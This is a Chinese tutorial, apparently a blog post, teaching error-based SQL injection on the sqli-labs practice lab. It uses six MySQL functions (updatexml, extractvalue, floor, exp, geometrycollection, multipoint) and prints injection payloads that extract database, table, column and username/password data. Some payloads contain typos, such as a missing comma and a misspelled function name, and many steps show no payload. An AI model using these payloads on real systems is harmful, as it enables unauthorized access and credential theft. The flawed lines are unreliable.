sqli-labs-基于报错的注入
这里使用sqli-labs第六关来学习报错注入,当然第五关也是可以使用的。会简单介绍updatexml(),extractvalue(),floor(),exp(),geometrycollection(),multipoint()六个函数的使用。
目录
构造参数?id=1" and 1=1--+ 回显为You are in......
将参数改变一下,回显不同,说明此处存在sql注入漏洞
探测一下表中字段的列数
updatexml()函数
我们先来测试一下 , updatexml()函数是否能正常报错
以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
随后将测试使用的 'good' 换成查询语句即可
开始获取数据库名(limit 0,1 中的0 即从第几个开始)
开始获取表名
?id=1" and updatexml(1,concat('~'(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3)--+
OK,想必你对updatexml()函数已经有了一定的了解,不妨动手试试替换语句获取字段名
你成功了吗
接下来获取字段中的数据,在这里需要分别获取username和password的值
到这里对于updatexml()函数的学习基本完成。
extractvalue()函数
接下来简单了解一下extractvalue()函数的使用
测试一下extractvalue()函数能否正常使用 ('anything'可以随意替换,'~'不能改变)
接下来将 'good' 替换为查询语句即可。
依次查询所有数据库名
?id=1" and extractvalue('anything',concat('~',(select schema_name from information_schema.schemata limit 4,1)))--+
这样做可以直接获取当前的数据库名,换成version()即获取当前数据库版本
接下来获取表名,慢慢来,不着急
接下来获取字段名
获取字段中的数据
username和password中的数据分别获取
floor()函数
接下来使用floor()函数学习基于报错的注入(这里简单介绍一下,详细介绍还请自行搜索)
这里提供一个链接,个人觉得很有帮助。
要保证floor报错注入,那么必须保证查询的表必须大于三条数据,并且8.x>当前mysql版本>5.0
?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.`columns` group by x) as y)--+
使用floor()函数获取当前数据库名 接下来将database()替换为查询语句即可
你不妨尝试自己构造一下
?id=1" and (select 1 from (select count(*),concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.`columns` group BY x) as y)--+
你构造正确了吗。 改变limit 0,1参数依次获取所有数据库名
获取表名
获取字段名
获取username字段内的数据
获取password字段内的数据
到这里针对sqli-labs靶场基于报错的floor()函数使用告一段落,你可能还有很多不理解的东西,比如为什么要这么构造,这就全看你自己了,去仔细学习这个函数,去找其他的靶场练习这个函数,全部取决于你,你人生的高度,也取决于你。
exp()函数
接下来学习exp()函数
使用exp()函数获取当前数据库名 在database()处替换为查询语句即可进行注入
依次查询所有数据库名
获取表名
获取字段名
获取username字段内的数据
获取password字段内的数据
geometrycollection()函数
接下来学习geometrycollection()函数的简单使用
?id=0" and geometrycollectiont((select * from(select * from(select database())a)b));--+
获取 当前数据库名 在database()处替换为查询语句即可
依次查询所有数据库名
获取表名
获取字段名
获取username字段内的数据 获取password字段内的数据
multipoint()函数
接下来学习multipoint()函数的简单使用
?id=0" and multipoint((select * from(select * from(select database())a)b));--+
类似于geometrycollection()函数,获取当前数据库名 替换database()继续注入
依次获取所有数据库名 获取表名
获取字段名
获取username字段内的数据
获取password字段内的数据
针对sqli-labs靶场基于报错的函数学习到此为止,当然还有很多其他基于报错的函数,另外以上六种函数的其他使用方法也有很多,在这里附上链接
祝君学有所成
更多推荐
所有评论(0)